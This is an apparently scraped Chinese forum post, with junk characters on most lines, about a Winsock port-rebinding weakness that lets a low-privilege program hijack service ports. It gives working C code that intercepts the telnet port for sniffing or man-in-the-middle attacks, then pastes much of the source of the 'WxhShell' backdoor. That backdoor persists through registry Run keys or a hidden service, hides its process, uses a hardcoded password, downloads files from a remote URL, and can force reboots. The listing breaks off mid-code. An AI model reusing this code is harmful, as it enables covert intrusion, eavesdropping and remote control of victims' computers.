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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3&Dln  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mf0!-bu  
H':dLR  
  saddr.sin_family = AF_INET; .5=Qf vi*  
(?MRbX]@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &1O[N*$e  
Abr:UEG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GE4d=;5  
-$Bom  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qc^ u%  
zrfE'C8O  
  这意味着什么?意味着可以进行如下的攻击: ' k~'aZ  
0{|ib !  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?^iX%   
Jej P91  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5`mRrEA  
x17cMfCH%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2w`kh=  
v~-z["=}!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bA]/p%rZ8  
:@LFNcWE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I"awvUP]a[  
TTjj.fq6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *O') {(  
SI_{%~k*B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M$O}roOa  
c-nBB  
  #include Hbogi1!al|  
  #include 0gNwC~IA8  
  #include I}oxwc  
  #include    )W^Wqa8mG|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,aI 6P-  
  int main() #;. tVo I  
  { }9T$XF~  
  WORD wVersionRequested; G'c!82;,?  
  DWORD ret; `5}XmSJ?5  
  WSADATA wsaData; $LUNA.  
  BOOL val; ju8mO&  
  SOCKADDR_IN saddr; =x "N0p  
  SOCKADDR_IN scaddr; .S/W_R  
  int err; dP0!?J Y  
  SOCKET s; #BK\cIr  
  SOCKET sc; 6hKavzSi  
  int caddsize; 5A]IiX4Z  
  HANDLE mt; Zf;1U98oC  
  DWORD tid;   z,XM|-"#<K  
  wVersionRequested = MAKEWORD( 2, 2 ); 1G/bqIMg63  
  err = WSAStartup( wVersionRequested, &wsaData ); Ve>*KHDSt  
  if ( err != 0 ) { _%Q\G,a;  
  printf("error!WSAStartup failed!\n"); =L~,HS(l,  
  return -1; -L7Q,"a$  
  } E"k\eZns&  
  saddr.sin_family = AF_INET; [sG=(~BU  
   U(5(0r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w?kdM1T  
Zcd!y9]#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k>#,1GbNZy  
  saddr.sin_port = htons(23); ,lm.~%}P*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) & i|x2; v  
  { 4)Y=)#=  
  printf("error!socket failed!\n"); W2h^ShG  
  return -1; P\bW kp0  
  } <~# ZtD$G  
  val = TRUE; LLOe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )_!t9gn*wr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fx|$(D@9  
  { JBQ,rX_Hw  
  printf("error!setsockopt failed!\n"); R{S{N2+p(  
  return -1; r-]Au -  
  } UNLy{0tA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2GECcx53  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 . (*V|&n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K V ^ `  
2&fIF}vk>m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vW6Pf^yJ  
  { 2#'{Q4K  
  ret=GetLastError(); ehj&A+Ip  
  printf("error!bind failed!\n"); Y}(#kqh>  
  return -1; ]5D?Sc#-  
  } F;yq/e#Q  
  listen(s,2);  8YFfnk  
  while(1) Ty\&ARjb 8  
  { Nb\4Mv`  
  caddsize = sizeof(scaddr); b8)>:F  
  //接受连接请求 }S'+Ytea  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #: L|-_=a  
  if(sc!=INVALID_SOCKET) Z QND^a:  
  { pc}Q_~e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M=n!tVlCV  
  if(mt==NULL) )ARfI)<1b  
  { {/12.y=)~  
  printf("Thread Creat Failed!\n"); <jU[&~p  
  break; ch,<4E/c[R  
  } c:"*MM RC  
  } l){l*~5zl2  
  CloseHandle(mt); 7~TE=t  
  } mJ0nyjX^  
  closesocket(s); ?1}1uJMj-  
  WSACleanup(); OtJYr1:y_  
  return 0; pgT{#[=>  
  }   &!J X  
  DWORD WINAPI ClientThread(LPVOID lpParam) R{)Sv| +`  
  { Y cE:KRy  
  SOCKET ss = (SOCKET)lpParam; c ;`  
  SOCKET sc; 7 }(LO^,A  
  unsigned char buf[4096]; oH!sJ&"#_  
  SOCKADDR_IN saddr; 4 W}8?&T  
  long num; tUv@4<~,/  
  DWORD val; t`03$&Cx7  
  DWORD ret; rs2~spN;h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "v4;m\g&:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3nf+ imAF  
  saddr.sin_family = AF_INET; VztalwI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YMLo~j4J  
  saddr.sin_port = htons(23); 1eI >Yy>}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ftF?T.dx  
  { OM{-^  
  printf("error!socket failed!\n"); By6C+)up  
  return -1; iyrUY  
  } orf21N+[  
  val = 100; RvV4SlZz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y!GjC]/  
  { \\ M2_mT  
  ret = GetLastError(); 5gZ0a4  
  return -1; -cNh5~p=  
  } b")&"o)G2W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ta?#o  
  { 5+:b #B  
  ret = GetLastError(); wlBdA  
  return -1; 1 9a"@WB@  
  } j(6:   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P (jlWr$$  
  { wA) NB  
  printf("error!socket connect failed!\n"); Ps Qq ^/  
  closesocket(sc); @^} % o-:  
  closesocket(ss); K+Al8L?K_  
  return -1; T^S|u8f  
  } _WtX8  
  while(1) R+8+L|\wHv  
  { A{\7HV5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q% )Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o+`W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d /&aC#'B  
  num = recv(ss,buf,4096,0); u-Ct-0  
  if(num>0) IV_u f  
  send(sc,buf,num,0); -N^}1^gA  
  else if(num==0) Q bfm*JP~  
  break; ]ms#*IZ  
  num = recv(sc,buf,4096,0); )<9g+^  
  if(num>0) e{U`^ao`F8  
  send(ss,buf,num,0); -w=rNlj  
  else if(num==0) *_b4j.)ax,  
  break; b* qkox;j  
  } %~J90a  
  closesocket(ss); PHi'&)|  
  closesocket(sc); UtG@0(6C  
  return 0 ; v<_}Br2I[  
  } I:u xj%  
F}<&@7kF  
D}px=?  
========================================================== }\=9l<|  
!V$nU8p|  
下边附上一个代码,,WXhSHELL s ,\w00-:  
Hs~M!eK  
========================================================== _A kc7"  
,ZV<o!\  
#include "stdafx.h" N+\#k*n?  
26>e0hBh&  
#include <stdio.h> t= "EbPE  
#include <string.h> ^v*ajy.>  
#include <windows.h> +`u]LOAyP=  
#include <winsock2.h> pZ+zm6\$  
#include <winsvc.h> yfiRMN"2  
#include <urlmon.h> NS-u,5Jt  
RPP xiYU^  
#pragma comment (lib, "Ws2_32.lib") 8|{:N>7  
#pragma comment (lib, "urlmon.lib") X}0NeG^'O  
|;6FhDW+'  
#define MAX_USER   100 // 最大客户端连接数 ?0hk~8c  
#define BUF_SOCK   200 // sock buffer 5|NM]8^^0[  
#define KEY_BUFF   255 // 输入 buffer l Vo](#W  
LPb43  
#define REBOOT     0   // 重启 p]*$m=t0r  
#define SHUTDOWN   1   // 关机 r.xGvo{iY  
d"Y9go"Z  
#define DEF_PORT   5000 // 监听端口 !sEI|47{  
fW!~*Q  
#define REG_LEN     16   // 注册表键长度 )"|'=  
#define SVC_LEN     80   // NT服务名长度 (k6=o';y  
jr~ +}|@{  
// 从dll定义API UY*Hc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2$yKa5SaX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i|Lir{vW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i' %V}2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :IV4]`  
{a `kPfP  
// wxhshell配置信息 VvSD &r^qI  
struct WSCFG { })T}e7>T  
  int ws_port;         // 监听端口 ]2QZ47  
  char ws_passstr[REG_LEN]; // 口令 qnyFRPC  
  int ws_autoins;       // 安装标记, 1=yes 0=no Se*ZQtwE  
  char ws_regname[REG_LEN]; // 注册表键名 pwT|T;j*  
  char ws_svcname[REG_LEN]; // 服务名 >wej1#\3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  3Fo,F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8^\DQ&D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0?BT*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r-^Ju6w{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ggVB8QN{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $n(?oyf  
zu(/ c  
}; Ec8Y}C,{7<  
Ayc}uuu  
// default Wxhshell configuration  ?Vbe  
struct WSCFG wscfg={DEF_PORT, 9Vxsv*OR,  
    "xuhuanlingzhe", $.R$I&U  
    1, r&A#h;EQX2  
    "Wxhshell", 3lM mSKN  
    "Wxhshell", ?=_l=dR  
            "WxhShell Service", +z+25qWi  
    "Wrsky Windows CmdShell Service", ^(V!vI*  
    "Please Input Your Password: ", rs~RKTv-  
  1, ;EW]R9HCH  
  "http://www.wrsky.com/wxhshell.exe", .ZxSJ"Rk  
  "Wxhshell.exe" ;.V 5:,&  
    }; KNC!T@O|{#  
;x@9@6_  
// 消息定义模块 9x?" %b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -x_b^)x~b7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RSG4A>%!mI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g (ZeGNV8  
char *msg_ws_ext="\n\rExit."; =4\|'V15  
char *msg_ws_end="\n\rQuit."; t# &^ -;  
char *msg_ws_boot="\n\rReboot..."; "%D+_Yb'X  
char *msg_ws_poff="\n\rShutdown..."; c;Hf+n  
char *msg_ws_down="\n\rSave to "; mc?5,oz;pz  
A~\:}P N  
char *msg_ws_err="\n\rErr!"; tB&D~M6[  
char *msg_ws_ok="\n\rOK!"; BEg%u)"([  
P}~6 yX  
char ExeFile[MAX_PATH]; qdCa]n!d  
int nUser = 0; Rde#=>@V  
HANDLE handles[MAX_USER]; IxYuJpi  
int OsIsNt; 0+P_z(93?  
<uU AAHi  
SERVICE_STATUS       serviceStatus;  ZajQ B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sw'20I  
R/~j <.s3P  
// 函数声明 I/|)?  
int Install(void); ~kS~v  
int Uninstall(void); r5(OH3  
int DownloadFile(char *sURL, SOCKET wsh); `dMOBYV  
int Boot(int flag); !Lb9KDk  
void HideProc(void); Kk!D|NKLC  
int GetOsVer(void); r444s8Y  
int Wxhshell(SOCKET wsl); J *.Nf)i  
void TalkWithClient(void *cs); tU!"CX  
int CmdShell(SOCKET sock); Dgc[WsCEW  
int StartFromService(void); ``1#^ `  
int StartWxhshell(LPSTR lpCmdLine); P{)&#HXUVb  
5f=e JDo=x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FxKH?Rl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NJz8ANpro$  
=NSLx2:T  
// 数据结构和表定义 qp"gD-,-o  
SERVICE_TABLE_ENTRY DispatchTable[] = HGC>jeWd_  
{ Um9!<G=;  
{wscfg.ws_svcname, NTServiceMain}, 4_&$isq  
{NULL, NULL} U2ecvq[T  
}; r1}OlVbK  
@=K> uyB  
// 自我安装 xRv1zHZ  
int Install(void) {p 9y{$  
{ I=D`:u\H  
  char svExeFile[MAX_PATH]; > 9JzYI^  
  HKEY key; _ Eq:Qbw#  
  strcpy(svExeFile,ExeFile); \$VtwVQ,b  
|C=^:@}ri?  
// 如果是win9x系统,修改注册表设为自启动 h K@1 s  
if(!OsIsNt) { bRLmJt98P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lR{eO~'~V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #| A @  
  RegCloseKey(key); Y%^&aacZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =5oFutg`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }dAb} 0XK.  
  RegCloseKey(key); Zul]ekv  
  return 0; EqUiC*u8{I  
    } :QUZ7^u  
  } Dd!MG'%hlb  
} H6/@loO!Xy  
else { hNyYk(t^  
]0 ouJY  
// 如果是NT以上系统,安装为系统服务 [@rZ.Hsl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fhLdM  
if (schSCManager!=0) OB6I8n XW  
{ l#~Sh3@L(  
  SC_HANDLE schService = CreateService {u9(qd;;  
  ( fF_1ZKx+#!  
  schSCManager, )}~k7bb}Y  
  wscfg.ws_svcname, NX@TWBn%  
  wscfg.ws_svcdisp, .m;1V6  
  SERVICE_ALL_ACCESS, WQv~<]1J F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @-kzSm  
  SERVICE_AUTO_START, iq5h[  
  SERVICE_ERROR_NORMAL, +m:U9K(\h  
  svExeFile, nvu|V3B0  
  NULL, 5EFow-AH  
  NULL, mmwwz  
  NULL, !g=,O6  
  NULL, UmiW_JB  
  NULL ^^jF*)DT@  
  ); ~b3xn T  
  if (schService!=0) G/Kz_Y,  
  { | (v/>t  
  CloseServiceHandle(schService); ? 4qN>uW=  
  CloseServiceHandle(schSCManager); qk~QcVg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [jD O8n/  
  strcat(svExeFile,wscfg.ws_svcname); #ZCgpg$wM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }C2I9Cl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K\IS"b3X  
  RegCloseKey(key); ,{%/$7)  
  return 0; wjq f u /  
    } 5>KAVtYvc  
  } -g IuL  
  CloseServiceHandle(schSCManager); 0>H<6Ja  
} ItYG9a  
} /A_</GYs  
7#MBT-ih  
return 1; ]pB0bJAt  
} q jDW A'  
(66X  
// 自我卸载 gLl?e8[F  
int Uninstall(void) pF K[b  
{ gBYL.^H^l  
  HKEY key; Hi,_qlc+  
D<L]'  
if(!OsIsNt) { C(?>l.QGw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;)0vxcMB  
  RegDeleteValue(key,wscfg.ws_regname); kQ.atr`?e  
  RegCloseKey(key); EVgn^,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T"kaOy  
  RegDeleteValue(key,wscfg.ws_regname); mRj-$:}L  
  RegCloseKey(key); jn]hqTy8  
  return 0; duXv [1  
  } nP 2rN_:4  
} ef f6=DP  
} s3g$F23  
else { M`BD]{tN}  
6x*ImhQ.J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HQt=.#GW  
if (schSCManager!=0) M (b'4  
{ MukPY2[Am  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z>o;Yf[  
  if (schService!=0) L9fhe,en  
  { ~K:#a$!%,  
  if(DeleteService(schService)!=0) { C([;JO 11[  
  CloseServiceHandle(schService); *3S,XMS{O  
  CloseServiceHandle(schSCManager); (G#)[0<fX  
  return 0; pSE"] N  
  } wMt?yc:X  
  CloseServiceHandle(schService); Y)c9]1qly  
  } X]C-y,r[M  
  CloseServiceHandle(schSCManager); kul&m|  
} ~;UK/OZ  
} )uwpeq$j7l  
{* >$aI  
return 1; mEz&:A  
} j,6dGb  
q$:T<mFK$  
// 从指定url下载文件 nHD4J;l  
int DownloadFile(char *sURL, SOCKET wsh) F3H)B:  
{ SQ>.P  
  HRESULT hr; ~S"G~a(&j  
char seps[]= "/"; #4%,09+  
char *token; k-e_lSYk&c  
char *file; /Wg$.<!5 }  
char myURL[MAX_PATH]; g@MTKqs  
char myFILE[MAX_PATH]; NjYpNd?g  
KSh<_`j  
strcpy(myURL,sURL); 3z\:{yl  
  token=strtok(myURL,seps); ,_u8y&<|I  
  while(token!=NULL) ThJLaNS  
  { 4xtbP\=   
    file=token; IH}?CZ@{?  
  token=strtok(NULL,seps); qFe|$rVVIl  
  } 1@CI7j  
?Q9/C|  
GetCurrentDirectory(MAX_PATH,myFILE); :'1ePq  
strcat(myFILE, "\\"); hJhdHy=U  
strcat(myFILE, file); ~`T(mh',  
  send(wsh,myFILE,strlen(myFILE),0); ZzzQXfA#  
send(wsh,"...",3,0); @L{HT8utK3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +;:i,`Lmg  
  if(hr==S_OK) (d4zNYK  
return 0; ^tc@bsUF  
else {r[ *}Bv  
return 1; WZ6!VE {  
BI4 p3-  
} ^4B6IF*  
yK"U:X  
// 系统电源模块 c{|soc[#  
int Boot(int flag) #(ANyU(#e  
{ =ZzhH};aX  
  HANDLE hToken; r A0[y  
  TOKEN_PRIVILEGES tkp; a(d'iAU8^  
r6Pi ZgR  
  if(OsIsNt) { cg1<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9e=F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $qg5m,1?  
    tkp.PrivilegeCount = 1; d /Zt}{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lNqXx{!k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aJI>qk h?]  
if(flag==REBOOT) { Yfxc$ub  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mgcq'{[~Y=  
  return 0; k5g\s9n]  
} =J0FT2 d  
else { D rHMlk5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )c]GgPH  
  return 0;  Gp@Y=mU  
} 1MfRF v  
  } P)>WIQSr  
  else { "o;l8$)VL  
if(flag==REBOOT) { X*$ 7g;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2$qeNy  
  return 0; pOIFO =k  
} +;FF0_   
else { "Q2[A]4E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6$fC R  
  return 0; <mrLld#_:C  
} 9DKmXL  
} $ AG.<  
gqZ7Pro.  
return 1; uZd)o AB  
} ;)"r^M)):  
YA{Kgc^  
// win9x进程隐藏模块 [OH>NpL  
void HideProc(void) T_v  
{ ou,W|<%  
nHyWb6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G\jr^d\  
  if ( hKernel != NULL ) 5XFhjVmEL  
  { (Clf]\_II  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ScZ$&n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w>/KQ> \"  
    FreeLibrary(hKernel); >[ lj8n  
  } j1**Ch/  
*Vv ;NA/  
return; 1;.}u= 8  
} 0IQu6 X  
3,N7Nfe  
// 获取操作系统版本 >tib21*  
int GetOsVer(void) !l.Rv_o<O  
{ sE>'~ +1_O  
  OSVERSIONINFO winfo; ^4 es  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5>h2WL  
  GetVersionEx(&winfo); //H+S q66  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _or$^.='  
  return 1; -?LSw  
  else c{||l+B  
  return 0; mc!3FJ  
} 7@+0E 2'  
Cv;z^8PZJz  
// 客户端句柄模块 `n5RDz/f0  
int Wxhshell(SOCKET wsl) z0g$+bhy  
{ bgYM  
  SOCKET wsh; +/x|P-  
  struct sockaddr_in client; ~X`vRSrH  
  DWORD myID; f 4!^0%l  
#'$CC<*vy  
  while(nUser<MAX_USER) Pvbw>k;  
{ r)U9u 0  
  int nSize=sizeof(client); pxDZ}4mOh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &(Xp_3PO  
  if(wsh==INVALID_SOCKET) return 1; \Cx3^ i X  
->8n.!F}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nqiy)ZN#R  
if(handles[nUser]==0) Jv7 @[<$  
  closesocket(wsh); r~t&;yRv  
else 4XX21<yn  
  nUser++; M7jDV|Go  
  } R8":1 #&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c!w4N5aM  
!ZSC"  
  return 0; c{FvMV2em  
} >A2& Mjo  
Ge(r6"%7  
// 关闭 socket hrEKmRmF-  
void CloseIt(SOCKET wsh) LNg[fF^:  
{ }c&Zv#iO6  
closesocket(wsh); $5il]D`  
nUser--; }"q1B  
ExitThread(0); 0qR;Z{k  
} H~x0-q<8  
I>9rfmmTI  
// 客户端请求句柄 ;YK^&!N  
void TalkWithClient(void *cs) RsTpjY*Xb  
{ 3 5|5|m a  
*dUnP{6g  
  SOCKET wsh=(SOCKET)cs; DrMcE31  
  char pwd[SVC_LEN]; w :^b3@gd  
  char cmd[KEY_BUFF]; [DjdR_9*I  
char chr[1]; ;9u6]%hQTX  
int i,j; W]6Y buP:  
Yng9_w9Y  
  while (nUser < MAX_USER) { (">!vz  
<C CEqY 4  
if(wscfg.ws_passstr) { 0{AVH/S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9J2% 9,^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C_'Ug  
  //ZeroMemory(pwd,KEY_BUFF); {&K#~[)  
      i=0; [Hn+r &  
  while(i<SVC_LEN) { (CuaBHR  
^IQC:2 1  
  // 设置超时 -qx Z3   
  fd_set FdRead; E37`g}ZS  
  struct timeval TimeOut; D5AKOM!`  
  FD_ZERO(&FdRead); nSd?P'PFg  
  FD_SET(wsh,&FdRead); X)~JX}-L  
  TimeOut.tv_sec=8; I:mJWe  
  TimeOut.tv_usec=0; F_V~UX1D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /xf %Rp4}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3ck;~Ncj<  
?bN8h)>QQ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 173/A=]  
  pwd=chr[0]; m[Zz(tL  
  if(chr[0]==0xd || chr[0]==0xa) { +yCIA\i#t6  
  pwd=0; M=0I 3o}J  
  break; >@ge[MuS  
  } 1j0yON  
  i++; A!iV iX &y  
    } ShGR !r<  
8?I(wn  
  // 如果是非法用户,关闭 socket Q&n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /!7m@P|&D  
} B;7L:  
#C !8a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #kma)_X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V3I&0P k  
O a-Z eCq  
while(1) { ,F:l?dfB\I  
oVmGZhkA@'  
  ZeroMemory(cmd,KEY_BUFF); ,Sz*]X  
 /H!I90  
      // 自动支持客户端 telnet标准   M-|4cd]6  
  j=0; 6S`eN\s  
  while(j<KEY_BUFF) { 9^Wj<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8 wC3}U  
  cmd[j]=chr[0]; pN%L3?2  
  if(chr[0]==0xa || chr[0]==0xd) { >rYP}k  
  cmd[j]=0; ,gkxZ{Eh  
  break; "v ^Q !  
  } 8 kd  
  j++; (h`||48d  
    } Lxd*W2$3_  
{f3T !e{  
  // 下载文件 lBPZB%  
  if(strstr(cmd,"http://")) { t0}3QGf;c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u-jGv| ,|  
  if(DownloadFile(cmd,wsh)) Y Xn)?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VCvuZU{<  
  else 4-cnkv\~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =I7#Vtd^K<  
  } H!oP!rzEo  
  else { O '$:wc#  
pD`7N<F 3  
    switch(cmd[0]) { Ng+k{vAj  
  bU_9GGG|  
  // 帮助 HjV83S;  
  case '?': { :K2N7?shA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W13$-hf9  
    break; UY)YhXW  
  } JH<q7Y6!y  
  // 安装 Ybd){Je"z  
  case 'i': { *"1]NAz+  
    if(Install()) c%i/ '<Afr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2r[Q$GPM<  
    else fqvA0"tv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SDdK5@1O4o  
    break; bl}$x/  
    } ~?[@KK  
  // 卸载 F(@|p]3*  
  case 'r': { p,ZubR J"  
    if(Uninstall()) l+YpRx/T\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -+ $u  
    else w 7=Y_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 37 M7bB0  
    break; QGLfZvTT  
    } &o:ZOD.  
  // 显示 wxhshell 所在路径 / ^!(rHf  
  case 'p': { eMWY[f3  
    char svExeFile[MAX_PATH]; mn 8A%6W  
    strcpy(svExeFile,"\n\r"); T6AFwo,Q  
      strcat(svExeFile,ExeFile); {WFYNEQ[  
        send(wsh,svExeFile,strlen(svExeFile),0); R2u[IVZW:-  
    break; T<p>:$vo  
    } `\O[9.B  
  // 重启 y>Nlj%XH  
  case 'b': { . KRh59yg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D~2,0K  
    if(Boot(REBOOT)) ?]$.3azO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jd(=? !_  
    else { (Dc dR:/=  
    closesocket(wsh); inR8m 4c]P  
    ExitThread(0); hQHV]xW  
    } h2uO+qEsu  
    break; x?Q;o+2v  
    } jY$|_o.4  
  // 关机 -41L^Di\  
